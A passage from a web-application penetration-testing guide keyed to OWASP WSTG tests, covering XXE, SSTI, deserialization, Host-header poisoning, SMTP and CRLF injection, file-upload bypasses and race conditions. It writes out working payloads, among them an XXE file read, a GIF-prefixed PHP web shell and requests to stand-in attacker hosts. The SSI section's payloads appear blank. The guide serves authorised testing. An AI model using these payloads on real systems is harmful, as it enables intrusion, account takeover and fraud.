SSI is a feature available on some web servers (historically Apache) where the server will parse HTML files for special comment-like directives before sending them to the user. An attacker can exploit this if their input is reflected on a page that is being parsed for these directives.

Methodology:

1. **Identify Potential Vectors:** Look for pages with file extensions like `.shtml`, `.shtm`, or `.stm`, as these are commonly configured for SSI parsing. Then, find an input field that reflects data back to the page.
2. **Probe for SSI Parsing:** Inject a basic SSI directive.
 - ``
3. **Escalate to File Inclusion or Command Execution:** If the date is successfully displayed, the server is parsing SSI. Now, try to include a sensitive file or execute a command.
 - **File Inclusion:** ``
 - **Command Execution:** ``

Unsuccessful Response (Vulnerable Application):

The application's response includes the current date, the contents of `/etc/passwd`, or the output of the `whoami` command, proving the SSI injection was successful.

Successful Response (Secure Application):

The application properly encodes the output, and the literal string `` is displayed on the page as plain text.

Activity 7.13: Test for XML External Entity (XXE) Injection

Main Heading: WSTG-INPV-07 - Testing for XML Injection

Objective: To exploit applications that parse user-supplied XML. If the XML parser is configured to process external entities, an attacker can use this to read arbitrary files from the server's file system, perform SSRF attacks, or cause a denial of service.

Methodology:

1. **Identify XML Input:** Find an endpoint that accepts XML in the request body (often indicated by a `Content-Type: application/xml` header).
2. **Inject an XXE Payload:** Modify the XML to include a `DOCTYPE` definition that declares an external entity pointing to a local file. Then, reference that entity in the XML data.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

Unsuccessful Response (Vulnerable Application):

The application's response includes the content of the requested file (`/etc/passwd`). This confirms the server is vulnerable to XXE, allowing you to read sensitive local files.

```
<error>
  <message>Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...</message>
</error>
```

Activity 7.14: Test for Server-Side Template Injection (SSTI)

Main Heading: WSTG-INPV-18 - Testing for Server-Side Template Injection

Objective: To identify if an application is using a server-side templating engine (like Jinja2, FreeMarker, or Handlebars) to generate dynamic content and is embedding user input directly into the template without proper sanitization. This can lead to Remote Code Execution (RCE).

Methodology:

1. **Probe for Template Syntax:** Find an input field that is reflected in the response. Instead of an XSS payload, inject a common template expression. The "polyglot" payload `${7*7}` is an excellent starting point because it is valid in multiple template languages.
 2. **Example URL:** `https://example.com/?name=${7*7}`
 3. **Analyze the Response:**
 - **Reflected as `${7*7}`:** Not vulnerable.
 - **Blank or an error:** Possibly vulnerable, the application tried to process it.
 - **Reflected as `49`:** 🌟 **Confirmed vulnerability.** The server executed the expression.
 4. **Identify the Engine and Escalate:** Once confirmed, you can use a decision tree (easily found online) to identify the specific template engine based on its response to different payloads. Once the engine is known, you can use documented exploits to read files or execute commands, leading to RCE.
-

Activity 7.15: Test for Insecure Deserialization

Main Heading: `WSTG-INPV-14 - Testing for Incubated Vulnerability` (This is a modern interpretation)

Objective: To manipulate serialized objects that are passed from the client to the server. If the application insecurely deserializes this data (reconstituting it back into an object in memory), an attacker can inject malicious objects that can lead to Remote Code Execution (RCE).

Core Concept Explained:

Many applications serialize objects (convert them into a string or byte stream) to pass them between components or store them. For example, a user's preferences might be stored in a cookie as a Base64-encoded Java object. If an attacker can modify this serialized string and the server blindly deserializes it, the attacker can instantiate arbitrary classes on the server, often leading to RCE.

Tooling:

- `ysoserial` is the industry-standard tool for generating malicious serialized object payloads for Java applications. Similar tools exist for other languages like Python (`pickle`).

Methodology:

1. **Identify Serialized Data:** Look for long, complex, Base64-encoded strings in cookies, hidden form fields, or API parameters. Use Burp's Decoder to see if they decode to something that looks like a serialized object (often starting with magic bytes like `ac ed 00 05` for Java).
2. **Generate a Payload:** Use `ysoserial` to generate a payload that will execute a command (like a DNS callback to your Burp Collaborator) when it is deserialized.

```
java -jar ysoserial.jar CommonsCollections5 "nslookup your-
```

```
id.burpcollaborator.net" > payload.bin
```

3. **Inject the Payload:** Base64-encode the generated `payload.bin` and replace the original serialized object in the cookie or parameter with your malicious one.

4. **Send the Request.**

Unsuccessful Response (Vulnerable Application):

You receive a DNS lookup on your Burp Collaborator instance. This is definitive proof that the server deserialized your object and executed your command, confirming RCE.

Successful Response (Secure Application):

The application either rejects the request with an error (e.g., "Deserialization failed") or handles the exception gracefully. No command is executed, and no callback is received.

Activity 7.16: Test for Open Redirection

Main Heading: `WSTG-CLNT-04 - Testing for Client-side URL Redirect`

Objective: To identify if an application uses user-controllable input to redirect the user to another URL without proper validation. Attackers abuse this trust to redirect victims to malicious phishing or malware sites from a legitimate, trusted domain.

Core Concept Explained:

Many websites redirect users after login or other actions. A vulnerability occurs if the destination URL is taken directly from a parameter. The browser sees a link starting with `https://trusted-site.com/...` and the user trusts it, but the server ultimately sends them to `https://evil-site.com`.

Impact:

- **High Risk (for Phishing):** 🦄 This is a powerful tool for attackers. It makes phishing campaigns significantly more believable and effective because the initial link the user clicks is from a domain they trust.

Methodology:

1. **Identify Redirect Parameters:** Look for any parameter in the application that includes a URL or a path, such as `?next=`, `?redirect_uri=`, `?url=`, `?returnTo=`.
2. **Test for Redirection:** Replace the legitimate URL in the parameter with the URL of an external site you control (e.g., `https://example.org`).
 - **Example URL:** `https://vulnerable-site.com/login?returnTo=https://example.org`
3. **Bypass Filters:** If a simple external URL is blocked, try bypasses:
 - **Using @:** `?returnTo=https://trusted-site.com@evil-site.com` (Some parsers will interpret this as going to `evil-site.com`).

- **Using #:** `?returnTo=https://evil-site.com#trusted-site.com`.
- **URL Encoding:** Encode special characters in your malicious URL.

Unsuccessful Response (Vulnerable Application):

The application redirects the browser to your specified external site (`https://example.org`). This confirms the open redirect vulnerability.

Successful Response (Secure Application):

The application either ignores the parameter and redirects to a default safe page, or it displays an error message indicating that the redirect is not allowed.

Activity 7.17: Test for LDAP and XPath Injection

Main Headings: `WSTG-INPV-06 (LDAP)` & `WSTG-INPV-09 (XPath)`

Objective:

- **LDAP Injection:** To exploit applications that use user-supplied input to build queries to an LDAP (Lightweight Directory Access Protocol) server, often used for authentication or directory lookups.
- **XPath Injection:** To exploit applications that use user input to build XPath queries for searching within XML documents.

Methodology (LDAP Injection):

1. Find a login form or search field that likely queries an LDAP directory.
2. Inject LDAP-specific metacharacters (`*`, `(`, `)`, `&`, `|`) and logical operators to manipulate the query.
3. For example, in a username field, injecting `*)(uid=*))(|(uid=*` might bypass authentication by turning the query into a search for all users.

Methodology (XPath Injection):

1. Find an input that queries an XML document.
2. Inject XPath syntax (like `' or '1'='1`) to manipulate the query's logic, potentially allowing you to bypass authentication or dump the entire contents of the XML document.

Activity 7.18: Test for Host Header Injection

Main Heading: `WSTG-INPV-17 - Testing for Host Header Injection`

Objective: To manipulate the `Host` header in an HTTP request to cause unintended behavior in the application. This is especially dangerous in password reset functionality and web cache poisoning scenarios.

Core Concept Explained:

Many applications, particularly in complex multi-domain environments, trust the user-supplied `Host` header to generate absolute URLs, such as in password reset links. If an attacker can control this header, they can make the application generate links pointing to a domain they control.

Methodology (Password Reset Poisoning):

1. Navigate to the "Forgot Password" function and request a password reset for a victim's account.
2. Intercept the `POST` request that submits the email address.
3. In Burp Repeater, **change the `Host` header** to a domain you control (e.g., `attacker-controlled-site.com`).

```
POST /forgot-password HTTP/1.1
Host: attacker-controlled-site.com
Content-Type: application/x-www-form-urlencoded

email=victim@example.com
```

4. Forward the request.

Unsuccessful Response (Vulnerable Application):

The application generates a password reset email but uses the poisoned `Host` header to construct the link. The victim receives an email with a link like this:

```
https://attacker-controlled-site.com/reset?token=VICTIM_RESET_TOKEN
```

When the victim clicks it, their browser sends their valid reset token to the attacker's server, allowing the attacker to take over the account.

Successful Response (Secure Application):

The application either ignores the malicious `Host` header and uses its own server-side configured domain, or it rejects the request as invalid. The victim receives a link pointing to the correct, legitimate domain.

Activity 7.19: Test for HTTP Parameter Pollution (HPP)

Main Heading: `WSTG-INPV-04 - Testing for HTTP Parameter Pollution`

Objective: Our objective is to exploit inconsistencies in how different web server technologies parse HTTP requests that contain multiple parameters with the same name.

Core Concept Explained:

When a browser sends a request with duplicate parameter names (e.g., `?id=1&id=2`), the back-end technology's behavior can differ. Some frameworks might use the *first* occurrence (`id=1`), some might use the *last* (`id=2`), and others might combine them (`id=1,2`). An attacker can abuse this ambiguity to bypass a Web Application Firewall (WAF) or override application logic.

Impact:

- **Medium Risk:** HPP can be a powerful bypass technique. For example, if a WAF only inspects the first parameter for SQL injection, an attacker can place a benign value in the first parameter and a malicious payload in the second, which is then processed by a vulnerable back-end server.

Tooling:

- Burp Suite

Methodology:

1. **Identify a Key Parameter:** We find a parameter that is critical to the application's logic, such as a redirect URL: `?next_url=/dashboard`.
2. **Inject a Duplicate Parameter:** Using Burp Repeater, we append a second parameter with the same name but a different, potentially malicious value.
`?next_url=/dashboard&next_url=http://evil-site.com`
3. **Observe the Behavior:** We send the polluted request and analyze how the application responds. Does it redirect to `/dashboard` (first parameter) or `http://evil-site.com` (last parameter)? This tells us how the server is parsing the request.
4. **Attempt a Bypass:** We find a parameter that is being filtered for a specific vulnerability (like XSS). We then craft a polluted request where the first instance of the parameter is clean, and the second instance contains the XSS payload.

Unsuccessful Response (Vulnerable Application):

We attempt to bypass an XSS filter. The WAF inspects `?search=innocent` and allows the request. The back-end server, however, only processes the last occurrence and is vulnerable to the payload in `search=<script>alert(1)</script>`. The XSS payload executes successfully.

```
GET /search?search=innocent&search=<script>alert(1)</script> HTTP/1.1
```

```
Host: vulnerable-site.com
```

```
HTTP/1.1 200 OK
```

```
...
```

```
Your search results for <script>alert(1)</script>:
```

```
...
```

Successful Response (Secure Application):

The application framework is modern and parses duplicate parameters into an array. The application's code is written to handle this array safely or reject the request as invalid, preventing any bypasses.

Activity 7.20: Test for IMAP/SMTP Injection

Main Heading: `WSTG-INPV-10 - Testing for IMAP/SMTP Injection`

Objective: Our goal is to inject IMAP or SMTP commands into an application that interacts with a back-end mail server.

Core Concept Explained:

This vulnerability occurs when user input is passed unsanitized to a back-end mail service. It is similar to Command Injection, but the injected commands are for the mail protocol. An attacker can inject newline characters (`CRLF`, or `%0d%0a`) to terminate the intended command and introduce new ones, such as adding new recipients (`BCC:`) or changing the email body.

Impact:

- **Medium Risk:** A successful attack can be used to send spam from the company's mail server, which can damage its reputation. It can also be used to send targeted phishing emails to other users or to hijack password reset emails by adding the attacker's address as a BCC recipient.

Tooling:

- Burp Suite

Methodology:

1. **Identify an Injection Point:** We find any function that sends an email, such as a "Contact Us" form, a "Share with a Friend" feature, or a password reset request.
2. **Inject CRLF Characters:** We use Burp Repeater to inject `CRLF` sequences (`%0d%0a`) into the parameters, followed by new SMTP headers. The most common test is to inject a `BCC:` header to silently send a copy of the email to an address we control.
3. **Analyze the Results:** We check our own inbox to see if we received a copy of the email that was generated by the application.

Unsuccessful Response (Vulnerable Application):

We inject a BCC header into the `subject` parameter of a contact form. The back-end mail server processes the injected command, and we receive a copy of the email sent to the legitimate recipient.

Request Body:

```
subject=Hello%0d%0aBCC:attacker@evil-site.com&message=This is a test.
```

This confirms we can control the mail server's behavior.

Successful Response (Secure Application):

The application correctly sanitizes all input by stripping out newline characters. The email is sent normally, but no BCC copy is sent to the attacker's address.

Activity 7.21: Test for Code Injection

Main Heading: WSTG-INPV-11 - Testing for Code Injection

Objective: Our goal is to inject and execute code written in the application's server-side language (e.g., PHP, Python, Ruby) by exploiting a function that evaluates user input.

Core Concept Explained:

This is a high-impact vulnerability that is distinct from Command Injection. In Command Injection, we execute OS commands. In Code Injection, we execute application-level code. This often occurs when a developer uses a dangerous function like `eval()` on user-supplied input.

Impact:

- **Critical Risk:** A successful Code Injection attack is equivalent to Remote Code Execution (RCE). The attacker can execute code with the same permissions as the application itself, allowing them to read files, access the database, and often escalate to a full command shell.

Tooling:

- Burp Suite

Methodology:

1. **Identify Dangerous Functions:** We review the application's source code (if available) or look for clues that suggest a dangerous function is in use. For example, a parameter that appears to take a mathematical formula for calculation might be using `eval()`.
2. **Inject Language-Specific Payloads:** We inject a simple command in the target language to see if it executes. A common technique is to perform a simple mathematical operation.
3. **Confirm Execution:** We analyze the response to see if the server performed the calculation.

Unsuccessful Response (Vulnerable Application):

We find a PHP application with a parameter that is passed to an `eval()`-like function. We inject a payload to execute the `phpinfo()` function, which dumps all of the server's PHP configuration details.

Request:

```
GET /test.php?expression=phpinfo(); HTTP/1.1
Host: vulnerable-site.com
```

Response:

The server responds with the full, detailed output of the `phpinfo()` function, confirming we have achieved code execution.

Successful Response (Secure Application):

The application avoids the use of dangerous functions like `eval()` on user input. Our payload is treated as literal text, and no code is executed. The server may return an error or simply reflect the text back to us.

Activity 7.22: Test for Buffer Overflow

Main Heading: WSTG-INPV-13 - Testing for Buffer Overflow

Objective: Our objective is to identify if the web application uses any underlying components (written in memory-unsafe languages like C/C++) that are vulnerable to a buffer overflow, which could lead to a server crash or arbitrary code execution.

Core Concept Explained:

This is a classic memory corruption vulnerability. It occurs when a program tries to write more data into a fixed-size buffer (a block of memory) than it can hold. The excess data overflows and overwrites adjacent memory, which can corrupt data, crash the program, or, in a carefully crafted attack, overwrite a function's return address to point to malicious shellcode. This is rare in modern web applications that are written in memory-safe languages like Java, Python, or C#, but they may still call out to legacy C/C++ libraries.

Impact:

- **Critical Risk:** A successfully exploited buffer overflow leads to Remote Code Execution (RCE) at a very low level, often providing a highly stable and powerful shell on the server.

Tooling:

- Burp Suite
- A debugger (like gdb) would be required for advanced exploitation.

Methodology:

1. **Identify Potential Vectors:** We look for parts of the application that might be calling out to compiled code, such as custom file parsers, image converters, or legacy CGI scripts.
2. **Fuzz with Long Strings:** The most basic detection method is to send an extremely long string of characters to every single input parameter in the application. We use Burp Intruder to automate this, sending strings of increasing length (e.g., 500, 1000, 2000, 5000 bytes).
3. **Monitor for Crashes:** We carefully monitor the server's response. A server that suddenly stops responding or returns a `500 Internal Server Error` only after receiving a very long string is a strong indicator of a potential buffer overflow.

Unsuccessful Response (Vulnerable Application):

We send a 5000-byte string to a parameter handled by a legacy CGI script. The server, which was previously stable, immediately crashes and stops responding to all requests. This confirms a denial-of-service condition and strongly suggests an exploitable buffer overflow.

Successful Response (Secure Application):

The application is written in a memory-safe language and correctly validates the length of all inputs. It

gracefully handles our long strings by either truncating them or returning a `400 Bad Request` error, and the server remains stable at all times.

Activity 7.23: Test for HTTP Response Splitting

Main Heading: `WSTG-INPV-16 - Testing for HTTP Response Splitting`

Objective: Our goal is to inject `CRLF` characters into an application's response headers to "split" the response and craft a second, malicious response that will be processed by the user's browser.

Core Concept Explained:

This vulnerability occurs when an application embeds user input into its response headers without proper sanitization. An attacker can inject newline characters (`%0d%0a`) to terminate the intended headers, inject their own headers (like a malicious `Set-Cookie` header), and then create an entirely new response body.

Impact:

- **High Risk:** This is a powerful attack that can be used to perform cross-site scripting, session fixation, and web cache poisoning. The attacker has full control over the response that the browser receives.

Tooling:

- Burp Suite

Methodology:

1. **Identify a Reflection in a Header:** We find a parameter whose value is reflected in a response header. The most common vector is a redirect where the destination URL is taken from a parameter.

`GET /redirect?url=/home`

Response Header: `Location: /home`

2. **Inject CRLF Sequences:** We use Burp Repeater to inject a `CRLF` sequence into the parameter, followed by our malicious headers and body.
3. **Analyze the Response:** We send the request and analyze the raw response in Burp to see if our injected response was successfully created.

Unsuccessful Response (Vulnerable Application):

We inject a payload to set a malicious cookie. The server's response is split into two, and the browser processes our injected header.

Request:

```
GET /redirect?url=%0d%0aContent-Type: text/html%0d%0aSet-
Cookie:malicious_cookie=hacked%0d%0a%0d%0a<h1>XSS</h1> HTTP/1.1
```

Raw Response:

```
HTTP/1.1 302 Found
Location:
Content-Type: text/html
Set-Cookie:malicious_cookie=hacked

<h1>XSS</h1>
```

This confirms we can control the headers and body of the response.

Successful Response (Secure Application):

The application correctly URL-encodes the newline characters in the parameter. The `Location` header is sent with the encoded, harmless value, and no response splitting occurs.

Phase 8: Testing for Error Handling

Main Heading: `WSTG-ERRH - Testing for Error Handling`

Objective: To verify that the application handles errors gracefully and securely, without leaking sensitive information about the server, database, or application framework. Verbose error messages are a goldmine for an attacker, providing a roadmap to the application's inner workings.

Activity 8.1: Test for Improper Error Handling and Stack Traces

Sub-heading: `WSTG-ERRH-01 & WSTG-ERRH-02 - Testing For Improper Error Handling and Stack Traces`

Objective: To deliberately cause errors in the application to see if it leaks sensitive information. This includes details like file system paths, software versions, database queries, and internal variable names.

Pre-conditions:

- A list of application parameters and entry points from Phase 1.
- A web proxy to modify requests.

Impact:

- **Medium Risk:**  While not directly exploitable, information leakage from error messages provides an attacker with a detailed map of the application's architecture. This significantly reduces the time and effort needed to find other, more critical vulnerabilities. For example, a leaked file path can confirm the server's operating system, and a leaked SQL query can reveal table and column names, making an SQL Injection attack much easier.

Method: Parameter Tampering

The easiest way to trigger errors is to provide the application with unexpected data types.

1. **Identify a Parameter:** Find a parameter that expects a specific data type, like a number. For example: `https://example.com/shop?product_id=123`
2. **Tamper with the Data Type:** Intercept the request in Burp Suite and change the parameter's value to a different data type, like a string or a very large number.
 - Change `product_id=123` to `product_id=abc`
 - Change `product_id=123` to `product_id=99999999999999999999`
3. **Remove a Parameter:** Try removing a required parameter from the request entirely.
4. **Send the Request and Analyze:** Forward the malformed request and carefully inspect the server's response for any detailed error messages or stack traces.

Unsuccessful Response (Vulnerable Application)

The application crashes and returns a verbose, developer-focused error message, often including a full stack trace.

- **Attacker's Request:**

HTTP

```
GET /shop?product_id=abc HTTP/1.1
Host: example.com
```

- **Server's Vulnerable Response:**

HTML

```
HTTP/1.1 500 Internal Server Error

<h1>Application Error</h1>
<p><b>A server error occurred:</b> java.lang.NumberFormatException: For input
string: "abc"</p>
<pre>
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
at java.lang.Integer.parseInt(Integer.java:580)
at com.example.shop.ProductDAO.getProductById(ProductDAO.java:42)
at com.example.shop.ShopServlet.doGet(ShopServlet.java:115)
...
<b>Server Information:</b> Apache Tomcat/9.0.30
<b>File Path:</b> /var/www/html/webapp/shop/
</pre>
```

This error leaks the programming language (Java), the server software (Tomcat), internal class names (`ProductDAO`), and the full file path.

Successful Response (Secure Application)

The application catches the exception internally and presents the user with a generic, friendly error page without any technical details.

- **Attacker's Request:**

HTTP

```
GET /shop?product_id=abc HTTP/1.1
Host: example.com
```

- **Server's Secure Response:**

HTML

```
HTTP/1.1 200 OK

<h1>Something Went Wrong</h1>
<p>We're sorry, but we encountered an unexpected error. Please try again later.
</p>
<p>Error reference ID: 8A7B9C2D</p>
```

This response is secure. It informs the user of a problem without revealing any implementation details. The reference ID is a good practice, as it allows the user to report the error so developers can find it in the internal logs.

Phase 9: Business Logic Testing

Main Heading: WSTG-BUSL - Business Logic Testing

Objective: To identify flaws in the application's workflows and rules. This isn't about technical injection vulnerabilities, but about abusing the intended functionality in unintended ways. The goal is to see if we can trick the application into doing something it shouldn't, like applying a discount twice, buying a product for an incorrect price, or bypassing a required step in a process.

Activity 9.1: Test for Manipulation of Business Workflows

Sub-heading: WSTG-BUSL-01 - Test Business Logic Data Validation

Objective: To verify that the server re-validates all data and logic at every step of a multi-stage process. A common flaw is for an application to trust data (like the price of a product) that is sent back from the client after it has already been displayed.

Pre-conditions:

- Access to a multi-step workflow in the application (e.g., an e-commerce checkout, a multi-page survey, a user registration process).
- A web proxy like Burp Suite is **essential** to intercept and modify requests between steps.

Impact:

- **Critical Risk:** 💰 A successful business logic attack often has a direct financial impact. It could allow an attacker to purchase goods for free, get unauthorized discounts, circumvent paywalls, or abuse other core business functions, leading to significant financial loss.

Method: Parameter Tampering in a Checkout Flow

This is a classic example of a business logic flaw.

1. **Initiate the Workflow:** As a normal user, add an item to your shopping cart. For example, add "Product A" which costs **\$100.00**.
2. **Proceed to Checkout:** Navigate to the checkout page. The application will show your cart with Product A for \$100.00.
3. **Intercept the Final Request:** Click the final "Confirm Purchase" or "Submit Order" button, but make sure you intercept the request in Burp Suite before it reaches the server.
4. **Analyze the Parameters:** Look at the body of the intercepted `POST` request. You might see parameters that reflect the state of your cart, like `item_id=PROD123`, `quantity=1`, and `price=100.00`.
5. **Modify a Critical Parameter:** Change the value of the `price` parameter from `100.00` to a much lower number, like `0.01`.
6. **Forward the Request:** Send the modified request to the server and observe the final confirmation page.

Unsuccessful Response (Vulnerable Application)

The server blindly trusts the price sent by the client. It processes the order for the manipulated price.

- **Attacker's Modified Request:**

HTTP

```
POST /api/checkout/confirm HTTP/1.1
```

```
Host: example.com
```

```
Cookie: sessionId=...
```

```
{"cart_id":"xyz","items":[{"item_id":"PROD123","quantity":1,"price":0.01}]}
```

- **Server's Vulnerable Response:**

The server responds with a 200 OK and a confirmation page showing the purchase was successful at the manipulated price.

HTML

```
<h1>Order Confirmed!</h1>
<p>Thank you for your purchase. Your order #54321 has been placed.</p>
<p>Product: Product A</p>
<p><b>Total Charged: $0.01</b></p>
```

This is a critical business logic flaw.

Successful Response (Secure Application)

The server does not trust the price sent from the client. It uses the `item_id` to look up the correct price from its own database before processing the charge.

- **Attacker's Modified Request:** (Same as above)
- **Server's Secure Response:**

The server either rejects the request due to the mismatch or, more commonly, it ignores the manipulated price and uses the correct one.

HTML

```
<h1>Order Confirmed!</h1>
<p>Thank you for your purchase. Your order #54321 has been placed.</p>
<p>Product: Product A</p>
<p><b>Total Charged: $100.00</b></p>
```

This shows the application correctly re-validated the business logic on the server side.

Activity 9.2: Test for Workflow Bypass

Objective: To determine if a user can skip required steps in a multi-stage process (e.g., skipping payment in a checkout flow).

1. **Map the Workflow:** Use the application normally to understand all the steps (e.g., Step 1: `/cart`, Step 2: `/shipping`, Step 3: `/payment`, Step 4: `/confirmation`).
2. **Start a New Session:** Add an item to your cart (complete Step 1).
3. **Attempt a Skip:** Instead of proceeding to Step 2, try to browse **directly to the final step's URL** (`/confirmation`).

Unsuccessful Response (Vulnerable):

The application allows you to access the final step. It might display an "Order Confirmed" page without ever processing a payment, potentially causing the company to ship an item for free.

Successful Response (Secure):

The application's server-side logic checks that you have completed all previous steps. It detects that you haven't completed the `/payment` step and redirects you back to the correct point in the workflow.

Activity 9.3: Test for Unrestricted File Upload

Main Heading: WSTG-BUSL-09 - Testing for Upload of Malicious Files

Objective: To bypass the application's file upload validation to upload a web shell—a script that can execute arbitrary server commands. This provides the attacker with Remote Code Execution (RCE).

Impact:

- **Critical Risk:** 🚩 A successful file upload leads to a full server compromise. The attacker can read/write any file, steal data, install malware, and use the server as a pivot point to attack the internal network.

Methodology: Bypassing Validation Layers

Secure applications validate uploads on multiple levels. A professional must bypass them all.

1. Bypass Extension Filters (Content-Type Whitelist):

- **The Flaw:** The server checks the Content-Type header (e.g., image/jpeg) but not the file's actual content.
- **The Bypass:** Upload a web shell with a malicious extension (e.g., shell.php). In Burp Suite, intercept the request and change the Content-Type header to an allowed type like image/jpeg. The server is tricked and saves the executable file.

2. Bypass Extension Filters (Filename Blacklist):

- **The Flaw:** The server has a list of forbidden extensions like .php, .jsp, .asp.
- **The Bypass Techniques:**
 - **Alternative Extensions:** Use less common but still executable extensions: .php5, .html.
 - **Case Sensitivity:** Try .Php or .pHp.
 - **Trailing Characters:** Append a dot or space: shell.php., shell.php (some servers will strip these, leaving .php).
 - **Double Extensions:** shell.php.jpg (if the server is misconfigured to only check the final extension).

3. Bypass Content Validation (Magic Byte Check):

- **The Flaw:** The server reads the first few bytes of the file to verify it's a legitimate image (e.g., it starts with GIF89a;).
- **The Bypass:** Prepend the required magic bytes to your web shell's code. Many scripting languages are flexible and will ignore the non-code bytes at the beginning of the file.
- **Example Malicious File (shell.gif):**

```
GIF89a;  
<?php system($_GET['cmd']); ?>
```

The server sees a valid GIF header, allows the upload, but will still execute the PHP code when the file is accessed.

Activity 9.4: Test for Race Conditions

Main Heading: WSTG-BUSL-04 - Test for Process Timing

Objective: To exploit a time window between when an application checks a condition (e.g., "do you have enough account balance?") and when it performs an action (e.g., "deduct the cost and confirm the purchase"). By sending multiple requests simultaneously, an attacker can make the action execute multiple times before the initial condition has changed, leading to logical flaws.

Core Concept Explained:

Imagine a "Redeem Voucher" function. The logic is:

1. Check if the voucher is valid.
2. If yes, grant the user a discount.
3. Mark the voucher as "used."

A race condition occurs if an attacker can send two requests so fast that the application performs step 1 for both requests *before* it gets to step 3 for either. The user gets the discount twice with a single-use voucher.

Impact:

- **High Risk:** 💰 Race conditions often have a direct financial impact, allowing attackers to redeem gift cards multiple times, exceed withdrawal limits, or perform other actions more times than the business rules should permit.

Tooling:

- **Burp Suite's "Turbo Intruder"** extension is the ideal tool for this, as it is designed to send a high volume of requests in parallel at very high speed.

Methodology:

1. **Identify a Target Function:** Find a function with a limited number of uses, such as applying a coupon code, voting in a poll, or transferring funds.
2. **Capture the Request:** Capture a single, valid request for this action in Burp Suite and send it to **Turbo Intruder**.
3. **Craft the Turbo Intruder Script:** Use a simple Python script within Turbo Intruder to send the same request 20-30 times concurrently.

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30)

    for i in range(30):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)
```

4. **Analyze the Results:** Run the attack and observe the server's responses. A vulnerable application will return multiple `200 OK` success codes before returning errors like "Voucher already used." Check your account status; if you received the benefit multiple times, the attack was successful.

Successful Response (Secure Application):

You will see exactly **one** `200 OK` response. All other 29+ responses will be errors, proving that the application correctly invalidated the action after the first successful request.

Activity 9.5: Test for Application-Level Denial of Service (DoS)

Main Heading: `WSTG-BUSL-05 - Test Number of Times a Function Can Be Used`

Objective: To identify functions that are computationally expensive or resource-intensive and check if they lack proper rate limiting. An attacker can abuse these functions to exhaust server resources (CPU, memory, disk space), causing the application to become slow or unavailable for legitimate users.

Impact:

- **High/Medium Risk:**  While it doesn't typically lead to data compromise, a successful DoS attack can cause significant business disruption and financial loss by making the application inaccessible.

Methodology:

1. **Identify Resource-Heavy Functions:** Look for features that require significant server-side processing.
 - **Report Generation:** Functions that create large PDFs or complex spreadsheets.
 - **Complex Search:** Database searches with multiple filters, sorting, and wildcards.
 - **File Processing:** Image or video converters.
 - **API calls that trigger complex backend logic.**
2. **Test for Lack of Rate Limiting:** Use a tool like **Burp Intruder** (or Turbo Intruder for higher speed) to send a large number of requests to the identified function in a short period.
3. **Test with Large Payloads:** If a function processes data (e.g., a file upload or a search query), try sending unusually large or complex data to see if it can overwhelm the server's resources. For example, search for a wildcard character (`*`) in a massive database.

Unsuccessful Response (Vulnerable Application):

The server's response time progressively slows down as you send more requests. Eventually, the server may stop responding entirely, returning `503 Service Unavailable` or `504 Gateway Timeout` errors.

Successful Response (Secure Application):

After a small number of requests, the server responds with a `429 Too Many Requests` error, proving that a rate-limiting defense is in place.

Activity 9.6: Test for Lack of Anti-Automation / Velocity Checks

Main Heading: `WSTG-BUSL-07 - Test Defenses Against Application Misuse`

Objective: To determine if the application lacks controls to prevent an attacker from automating a specific function at a high speed or volume. This is different from a generic DoS; the goal here is not to crash the server but to abuse a feature.

Examples of Abuse:

- **Credential Stuffing:** Automating login attempts with breached username/password pairs.
- **Spamming:** Submitting a "Contact Us" form or posting comments hundreds of times per minute.
- **Scraping:** Extracting large amounts of data (e.g., all product prices).
- **Voucher/Coupon Abuse:** Rapidly guessing coupon codes.

Methodology:

1. **Identify a Target Function:** Choose a function that would be damaging if performed at scale (e.g., the login endpoint, a comment form, a user registration API).
2. **Use Burp Intruder:** Capture a single, valid request for this function.
3. **Launch a High-Volume Attack:** Send the request to Intruder. Use the "Null payloads" type to send the same request 500-1000 times in a row.
4. **Analyze the Responses:**
 - **Absence of Defenses:** Does the server return a `200 OK` for every single request?
 - **Presence of Defenses:** Does the server begin to respond with a `429 Too Many Requests` status code after a certain threshold? Does it start presenting a CAPTCHA? Does it temporarily block your IP address?

Unsuccessful Response (Vulnerable Application):

All 1000 requests are processed successfully with a `200 OK`, proving there are no rate-limiting or anti-automation controls in place for that function.

Successful Response (Secure Application):

After a reasonable number of requests (e.g., 20 in one minute), the application correctly identifies the

automated behavior and blocks the subsequent requests with a `429` error.

Activity 9.7: Test Upload of Unexpected or Large File Types

Main Heading: WSTG-BUSL-08 - Test Upload of Unexpected File Types

Objective: To determine if the application's file upload function can be abused to cause an application-level Denial of Service by exhausting server resources like disk space or CPU. This is distinct from uploading a web shell for RCE.

Methodology:

- 1. Identify a File Upload:** Find any feature that allows you to upload a file (e.g., a profile picture, a document attachment).
- 2. Test for Lack of Size Limits:**
 - Create a very large, benign file (e.g., a 1 GB file of random data).
 - Attempt to upload this file. Does the server reject it immediately based on size, or does it try to process the entire file, consuming bandwidth and temporary disk space?
- 3. Test for "Zip Bombs" (Decompression DoS):**
 - A zip bomb is a very small compressed file (e.g., a few kilobytes) that expands to an enormous size (gigabytes or terabytes) when uncompressed.
 - If the application accepts `.zip` files and processes them server-side, try uploading a small zip bomb.
- 4. Test for CPU-Intensive Files:** If the application processes images, try uploading a specially crafted but valid image file (a "pixel flood" image) that is small in size but has massive dimensions, which can consume significant CPU and memory during thumbnail generation or resizing.

Unsuccessful Response (Vulnerable Application):

Uploading a large file or a zip bomb causes the server to become slow or unresponsive. Repeated uploads could fill the server's disk space, crashing the application for all users.

Successful Response (Secure Application):

The application has strict server-side controls. It immediately rejects files that are too large before processing them, uses libraries that safely handle compressed files (e.g., by checking the compression ratio), and properly validates image dimensions.

Activity 9.8: Test Ability to Forge Requests

Main Heading: WSTG-BUSL-02 - Test Ability to Forge Requests

Objective: Our goal is to identify if the application is vulnerable to Cross-Site Request Forgery (CSRF), which would allow an attacker to trick a logged-in user into unknowingly submitting a malicious request.

Core Concept Explained:

